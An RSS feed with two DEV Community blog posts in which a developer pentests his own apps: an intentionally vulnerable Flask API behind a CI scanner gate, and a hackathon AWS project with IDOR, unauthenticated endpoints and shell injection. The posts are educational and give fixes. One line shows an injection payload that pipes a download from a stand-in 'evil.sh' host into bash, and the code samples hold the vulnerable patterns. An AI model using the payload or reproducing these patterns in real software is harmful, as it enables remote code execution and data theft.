<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aditya Chooramani</title>
    <description>The latest articles on DEV Community by Aditya Chooramani (@adityachooramani).</description>
    <link>https://dev.to/adityachooramani</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3983026%2F2828904c-ffef-4323-ae76-28d5e4fd6705.jpg</url>
      <title>DEV Community: Aditya Chooramani</title>
      <link>https://dev.to/adityachooramani</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/adityachooramani"/>
    <language>en</language>
    <item>
      <title>I Put Eight Security Bugs in a Flask App on Purpose. The Robots Only Caught Some of Them.</title>
      <dc:creator>Aditya Chooramani</dc:creator>
      <pubDate>Sat, 11 Jul 2026 09:31:47 +0000</pubDate>
      <link>https://dev.to/adityachooramani/i-put-eight-security-bugs-in-a-flask-app-on-purpose-the-robots-only-caught-some-of-them-4h55</link>
      <guid>https://dev.to/adityachooramani/i-put-eight-security-bugs-in-a-flask-app-on-purpose-the-robots-only-caught-some-of-them-4h55</guid>
      <description>&lt;p&gt;A while back I wrote about finding security holes in my own hackathon project months after the fact. It was not a proud moment. There is a specific flavor of shame in reading code you wrote, out loud, going "who hurt this person," and slowly realizing it was you.&lt;br&gt;
So this time I flipped it around. Instead of finding bugs by accident later, I would put them in on purpose now, and build a system whose entire job is to catch me doing it. Meet Break&amp;amp;Detect: a small Flask REST API that I made bad on purpose, wrapped in a CI pipeline that yells at me every time I try to ship something stupid.&lt;br&gt;
Here is what I learned, which mostly comes down to one thing. The robots are good. They are not that good.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part one: building the trap
&lt;/h2&gt;

&lt;p&gt;The idea was a security gate in GitHub Actions. Every push runs a lineup of scanners, and if any of them find something HIGH or CRITICAL, the build goes red and the merge is blocked. No "we will fix it later." Later is where security bugs go to live forever.&lt;br&gt;
The lineup, eight stages of it:&lt;/p&gt;

&lt;p&gt;Gitleaks, for secrets I definitely did not mean to commit (I did)&lt;br&gt;
Bandit and Semgrep, for the classic "you built a SQL query with an f-string" energy&lt;br&gt;
Trivy, twice, once on the dependencies and once on the container image&lt;br&gt;
Checkov, for the infrastructure config&lt;br&gt;
OWASP ZAP, actually poking the running app like a bored attacker would&lt;/p&gt;

&lt;p&gt;Every finding gets pushed up to the GitHub Security tab as SARIF, so instead of squinting at raw logs you get a tidy list of your sins in the UI.&lt;br&gt;
I will be honest about the part nobody puts in the README. Wiring up GitHub Actions is about 20% writing YAML and 80% pushing a commit called "fix ci" and watching it fail for a reason that makes no sense. My commit history for that week reads like a man slowly losing an argument with a computer. But once it worked, it worked, and watching the build go red the first time it caught a real bug felt genuinely great.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part two: why I did not stop there
&lt;/h2&gt;

&lt;p&gt;Here is the thing about scanners. They are pattern matchers. They are excellent at "this looks like a hardcoded key," or "this function call is a known injection sink," or "this dependency has a CVE." That is real value and I am not knocking it.&lt;br&gt;
But a scanner does not understand what your app is for. It does not know that note number 5 belongs to a different user than the one asking for it. It cannot tell that your login endpoint will happily accept ten thousand password guesses without blinking. Those are logic bugs, and logic lives in the gap between what your code says and what your app actually means.&lt;br&gt;
So once the pipeline went green on the easy stuff, I put on the other hat and pentested the thing by hand. Burp Suite, sqlmap, Hydra, and a truly unreasonable amount of curl, with the OWASP testing guide as the map. The goal was simple. Find what the robots could not.&lt;br&gt;
I found eight things. A couple were exactly what you would expect. A couple were more fun.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one that actually scared me
&lt;/h2&gt;

&lt;p&gt;The best bug was not one bug. It was two boring ones holding hands.&lt;br&gt;
Bug one: the JWT signing key was hardcoded, sitting right there in the source as a plain string. Bug two: tokens were set to never expire, and the code that checks expiration had it explicitly switched off.&lt;br&gt;
On their own, each is a "yeah yeah, fix it eventually" finding. Together they are a skeleton key. Anyone who can read the repo grabs the signing key, forges a token for literally any account including admin, and that token works forever. No password, no login, no expiry to wait out. Just permanent access to everyone, minted by hand.&lt;br&gt;
And because self-registration was wide open, there was a second, totally separate way in. Register a throwaway account, then use a UNION-based SQL injection in the search endpoint to pour the entire users table, password hashes and all, back through what was supposed to be a search of your own notes. Two doors, same room, and the room has everybody's data in it.&lt;br&gt;
This is the part scanners get half right. Gitleaks did flag the hardcoded key. But "here is a hardcoded key" and "here is how this key becomes full account takeover for every user in two steps" are different sentences, and only one of them makes a person actually go fix it before lunch.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bugs the robots could not see
&lt;/h2&gt;

&lt;p&gt;Two findings were pure logic, and no scanner was ever going to catch them.&lt;br&gt;
The first was textbook BOLA, which is a fancy way of saying the notes endpoint looked up your note by its ID number and never once checked whether that note was actually yours. Want to read someone else's private note? Add one to the number in the URL. Want to delete it? Same move, different verb. The code worked perfectly. It just trusted everyone completely, which is adorable in a person and a disaster in an API.&lt;br&gt;
The second was my favorite, because it is so human. The app had a "fetch this URL" feature, which is SSRF bait and I knew it. So past me had written a config file with a responsible little security section: an allow-list of schemes, a flag to block private networks, the whole adult setup. Great. Except the actual code never read that config. The protection existed purely as a vibe. I had written the security policy and then forgotten to plug it in, so the endpoint would cheerfully go fetch the cloud metadata address at 169.254.169.254 and hand back whatever it found.&lt;br&gt;
No scanner catches that, because on paper everything looks fine. You have to read what the code does versus what it pretends to do. That gap is where the interesting stuff always hides.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one I got wrong, and kept anyway
&lt;/h2&gt;

&lt;p&gt;One of my eight findings turned out to be a false alarm. Trivy flagged a known CVE in a pinned dependency, I sat down to write it up, then checked the actual version and realized it had already been patched in an earlier commit. Not exploitable. No impact.&lt;br&gt;
I kept it in the report anyway, marked "not reproducible," with the verification steps written out.&lt;br&gt;
Why keep a non-bug in a security report? Because a report that only contains wins is not a report, it is a highlight reel. Showing the thing you checked and honestly ruled out is kind of the whole point. It tells whoever reads it that the other seven findings were verified the same careful way, not just copied out of a scanner and dressed up in a suit. The false alarms are how you earn trust in the real ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  The satisfying part
&lt;/h2&gt;

&lt;p&gt;Then I fixed them. Parameterized the query, moved the key into an environment variable and rotated it, made tokens expire and added rate limiting, put an ownership check on the notes, actually wired up the SSRF config I had been ignoring, escaped the XSS, killed debug mode, added the security headers.&lt;br&gt;
Then I re-ran every single exploit against the fixed branch, one at a time, to confirm each one was properly dead and not just hidden. The pipeline went green. The forged-token trick started returning a polite 401. The BOLA attempt returned a 404 that no longer even admits the note exists.&lt;br&gt;
Watching your own attacks stop working is a weirdly lovely feeling. Ten out of ten. Would break my own app again.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual takeaway
&lt;/h2&gt;

&lt;p&gt;If you want it in one sentence: automated scanners are smoke detectors, and manual testing is the person who walks over and checks whether the stove is actually on. You want both. The pipeline caught the bugs that look like bugs. I had to catch the ones that only look wrong once you understand what the app is trying to do.&lt;br&gt;
The whole thing is on my GitHub, pipeline and full report included. My one piece of advice, hard earned, is to write the config that protects you and then also remember to read it. Ask me how I know.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>python</category>
      <category>appsec</category>
    </item>
    <item>
      <title>I Tried to Hack My Own Hackathon Project. It Took Ten Minutes</title>
      <dc:creator>Aditya Chooramani</dc:creator>
      <pubDate>Sat, 27 Jun 2026 16:42:25 +0000</pubDate>
      <link>https://dev.to/adityachooramani/i-tried-to-hack-my-own-hackathon-project-it-took-ten-minutes-5np</link>
      <guid>https://dev.to/adityachooramani/i-tried-to-hack-my-own-hackathon-project-it-took-ten-minutes-5np</guid>
      <description>&lt;p&gt;Back in February I helped build a thing called Sentinel Eye for the HyperSpace Innovation Hackathon.&lt;/p&gt;

&lt;p&gt;The pitch was simple. You draw a box anywhere on a map, and the system goes and fetches Sentinel-2 satellite imagery for that exact patch of Earth, runs the math on it, and tells you where forest got cut down or where a city quietly ate a field. Draw a rectangle over the Amazon, wait a few minutes, get back real GeoTIFF files showing deforestation. It felt like magic. It got us to nationals. I was very proud of it.&lt;/p&gt;

&lt;p&gt;Then the hackathon ended, the AWS credits dried up, and I tore the whole thing down before it could start charging me rent.&lt;/p&gt;

&lt;p&gt;Fast forward a few months. I have been learning security properly, finished TCM's Practical Ethical Hacking course, and I now spend my evenings on PortSwigger labs like a normal well-adjusted person. And I had a cursed idea. What if I went back and read my own code from February, except this time I read it the way someone trying to break in would, instead of the way someone trying to survive a demo at 3am does?&lt;/p&gt;

&lt;p&gt;It took about ten minutes to find the first hole. Then I found two more. Come look at the crime scene with me.&lt;/p&gt;

&lt;h2&gt;
  
  
  Act one: the download button that downloads anything
&lt;/h2&gt;

&lt;p&gt;I started with the download endpoint, because "here is your file" routes are exactly where hackathon me cut the most corners. Here is the actual Lambda, trimmed a little:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lambda_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;body&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;job_id&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;job_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;file_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;file_type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;s3_key&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s3_key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# the client tells us which file it wants
&lt;/span&gt;
    &lt;span class="n"&gt;download_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s3_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate_presigned_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;get_object&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bucket&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BUCKET_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;s3_key&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;ExpiresIn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;EXPIRATION&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;statusCode&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;body&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;download_url&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;download_url&lt;/span&gt;&lt;span class="p"&gt;})}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the &lt;code&gt;s3_key&lt;/code&gt; line. The client sends a key, and the server goes "sure, signed URL for whatever you asked for, coming right up." There is no check that the key belongs to your job. No check that it belongs to you at all. Want &lt;code&gt;results/some-other-persons-job/deforestation.tif&lt;/code&gt;? Done. Want to start guessing your way around the rest of the bucket? Knock yourself out.&lt;/p&gt;

&lt;p&gt;This is a textbook IDOR, an insecure direct object reference, and I implemented it with the calm confidence of a man who had never once considered that a stranger might call his API. In my head the only thing that would ever hit this endpoint was my own React app, politely handing back the exact key the server had just given it. But APIs do not run on the honor system. The client is not your friend. The client is a text box that anyone on the internet can type into.&lt;/p&gt;

&lt;p&gt;The fix is boring, which is the point. Do not let the caller name the file. Take the &lt;code&gt;job_id&lt;/code&gt;, confirm the request actually owns that job, and build the key on the server from values you control. The client should be able to say "give me the deforestation result for my job," not "give me arbitrary object number whatever."&lt;/p&gt;

&lt;h2&gt;
  
  
  Act two: the endpoint anyone could use to spend my money
&lt;/h2&gt;

&lt;p&gt;Next I went looking for the auth. Reader, there was no auth.&lt;/p&gt;

&lt;p&gt;Here is the relevant line from my own deploy script, where I create the API Gateway methods:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws apigateway put-method &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &lt;span class="nv"&gt;$API_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--resource-id&lt;/span&gt; &lt;span class="nv"&gt;$ANALYZE_RESOURCE_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--http-method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--authorization-type&lt;/span&gt; NONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;authorization-type NONE&lt;/code&gt;. Both the analyze endpoint and the download endpoint were wide open to the entire internet. No API key, no token, nothing.&lt;/p&gt;

&lt;p&gt;Now remember what the analyze endpoint actually does. It calls a paid satellite imagery API, then launches an EC2 instance to crunch the data. Every single request costs real money and spins up real compute. An open endpoint that launches servers is not a feature, it is a GoFundMe for whoever finds it. A bored person with a &lt;code&gt;for&lt;/code&gt; loop could have turned my AWS bill into a phone number. The fun part is that EC2 instances launching in a loop is exactly the kind of thing you do not notice until the email arrives.&lt;/p&gt;

&lt;p&gt;Lock the endpoints behind auth, put rate limiting in front of them, and validate the input so nobody can request a 10,000 square kilometer region "just to see." None of that occurred to me at the time because the app worked when I clicked the button, and when the app works, builder brain declares victory and goes to sleep.&lt;/p&gt;

&lt;h2&gt;
  
  
  Act three: the one that made me put my head on the desk
&lt;/h2&gt;

&lt;p&gt;This is the launch function. When a job comes in, this code builds a startup script and hands it to a fresh EC2 instance to run at boot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;user_data_script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;#!/bin/bash
cd /home/ec2-user
aws s3 cp s3://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BUCKET_NAME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/scripts/ec2_dynamic_processor.py ./
python3 ec2_dynamic_processor.py &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;job_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;change_types&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;
sudo shutdown -h now
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the instance boots and runs this bash script. And the script pastes my variables straight into a command, wrapped in single quotes. One of those variables is &lt;code&gt;change_types&lt;/code&gt;, and &lt;code&gt;change_types&lt;/code&gt; comes directly from the request body. Which, as we established in act two, is whatever a complete stranger felt like sending.&lt;/p&gt;

&lt;p&gt;Single quotes in bash protect you right up until someone types a single quote.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;change_types&lt;/code&gt; is &lt;code&gt;["deforestation"]&lt;/code&gt;, everything is fine and the world keeps turning. If &lt;code&gt;change_types&lt;/code&gt; is &lt;code&gt;["'; curl evil.sh | bash #"]&lt;/code&gt;, that little quote character closes my string early, and everything after it runs as a shell command. On my EC2 box. With the instance's IAM role attached, ready to be borrowed.&lt;/p&gt;

&lt;p&gt;That is not a bug. That is remote code execution with a side of free credentials. I set out to build a tool that detects deforestation and I accidentally shipped a tool that detects whether you would like a shell on my server.&lt;/p&gt;

&lt;p&gt;The fix here is to stop building shell commands out of strings entirely. Pass the data through a file or an environment variable, or honestly just do the work in the Lambda and skip the "interpolate user input into bash at boot" genre of decision altogether.&lt;/p&gt;

&lt;h2&gt;
  
  
  In fairness to past me, who is currently being dragged
&lt;/h2&gt;

&lt;p&gt;A few things were not actually terrible, and I want credit for them because the rest of this post is rough:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The SentinelHub API keys lived in AWS Secrets Manager, not hardcoded in the repo. The bar is on the floor, but I cleared it.&lt;/li&gt;
&lt;li&gt;The permission to read that secret was scoped to that one secret, not "every secret in the account, please."&lt;/li&gt;
&lt;li&gt;Downloads went through expiring presigned URLs instead of a public bucket.&lt;/li&gt;
&lt;li&gt;The EC2 boxes shut themselves down after each job, so even the injection had a smallish window to play in.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the instincts were not all bad. The actual problem was simpler than any single bug. I spent the entire hackathon thinking like a builder. Builder brain asks one question: does the happy path work? It clicks the button, sees the right output, and goes home happy. Attacker brain asks a different question: what happens when I do the obviously cursed thing you clearly did not plan for? Those are two different muscles, and back then I had only ever trained one of them.&lt;/p&gt;

&lt;p&gt;Reading your own old code with the other muscle is genuinely one of the best ways I have found to learn this stuff. There is no tutorial, no contrived "spot the vuln" lab, just past you leaving the door open and present you walking through it going "oh no. oh no, I did this."&lt;/p&gt;

&lt;p&gt;The code is on my GitHub if you want to point and laugh, or quietly check whether you have written the same three bugs (you probably have, we all have, it is fine).&lt;/p&gt;

&lt;p&gt;Anyway. Go reread something you built a few months ago. Bring snacks. You are going to find something.&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cloud</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
